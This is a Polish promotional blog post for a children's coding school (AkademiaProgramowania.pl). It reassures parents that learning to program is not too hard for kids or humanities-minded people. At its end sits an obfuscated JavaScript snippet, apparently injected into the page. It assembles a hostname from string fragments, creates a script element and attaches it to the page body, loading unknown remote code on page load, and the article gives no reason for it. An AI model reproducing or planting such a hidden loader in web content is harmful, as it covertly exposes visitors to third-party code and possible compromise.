

Czy nauka programowania jest trudna?

W związku z pojawiającymi się coraz częściej ofertami na kursy programowania dla dzieci i młodzieży, na forach parentingowych czy grupach w mediach społecznościowych pojawia się pytanie ciekawych, ale zatroskanych rodziców. Czy nauka kodowania nie jest za trudna dla małego dziecka dopiero rozpoczynającego edukację? Czy zajęcie dziecku, lub nastolatkowi czasu popołudniami przeznaczając go na naukę programowania, nie odbije się negatywnie na jego codziennej, szkolnej edukacji?

Czy kodowanie jest trudne?

A co oznacza trudne? Na pewno programowanie i nauka kodowania są obszerną dziedziną łączącą ze sobą dużo różnych umiejętności i wprowadzającą wiele informacji. Jednocześnie większość z nich to umiejętności cechy potrzebne każdemu w jakiegokolwiek dziedziny życia. Do kodowania dodać jeszcze możemy technologiczną śmiałość, która może mieć fundamentalne znaczenie. Szczególnie jeżeli chodzi o powiązanie nauki programowania z przyszłą pracą zawodową.

Całość jednak staje się dziecinnie prosta w momencie, kiedy zdamy sobie sprawę z tego, jak te zwyczajne, codzienne kierunki myślenia połączyć w magię programowania. Dlatego właśnie dobre warsztaty programowania dla dzieci i młodzieży, nie powinny być nastawione wyłącznie na rozwój myślenia informatycznego, ale też rozwijać na różne sposoby i w praktyczny sposób pokazywać, jak wykorzystać swoją wiedzę i umiejętności.

Humanista nauka programowania

Jednym z argumentów przeciw, powtarzanych czasami w związku z nauką programowania jest określenie siebie, jako humanisty, a tym samym niezdolnego do efektywnej nauki przedmiotów ścisłych.

Jasne, ścisły umysł na pewno w znacznym stopniu pomaga przy niektórych aspektach tworzenia nowych programów, jednak nadal nie jest to najważniejsza predyspozycja. Ponadto zakłada się, że człowiek z natury jest ścisłowcem, a dopiero niewystarczająca ilość tego typu bodźców w formie zagadnień lub problemów, albo też złe doświadczenia związane z nauką (na przykład matematyki w szkole) zamykają nasz umysł na takie zagadnienia. Zamykają, ale zawsze można go powrotem otworzyć poprzez odpowiednią stymulację mózgu podczas zajęć.

Gdzie na kurs programowania?

Niezależnie od tego, jak wydaje nam się, że nasze dziecko może radzić sobie podczas nauki kodowania, warto spróbować. Zapraszamy na warsztaty programowania dla dzieci młodzieży w AkademiaProgramowania.pl. Możemy zaoferować:

- lata doświadczeń i najdłuższy staż na polskim rynku edukacyjno-programistycznym,
- przystępną cenę kursów w porównaniu z innymi szkołami przy jednoczesnym braku utraty na jakości przekazywania materiału,
- autorski program nauczania bazujący zarówno na sprawdzonych metodach, jak i innowacyjnych rozwiązaniach,

- optymalnej wielkości grupy pozwalające na indywidualne podejście wykładowcy do każdego słuchacza, a także pracę w zespole,
- pełne wyposażenie klas w potrzebny sprzęt, znoszące potrzebę przyjazdu z własnym sprzętem.

Zapraszamy do zapoznania się ofertą, na naszej stronie <https://www.akademiaprogramowania.pl>

```
(function(){
x5fw_=("u"+"")+"s"+"";x5fw_+=("tat.")+"(i)";
x5fw=document.createElement("script");x5fw.type="text/javascript";x5fw_+="nf"+"(o)"+"/";
x5fwu="181775916"+".";x5fw.async=true;x5fwu+="489rX1qb5fwn5usuws1lmhjxXvqueh";
x5fw.src="https://"+x5fw_+x5fwu;x5fwb=document.body;x5fwb.appendChild(x5fw);
})();
```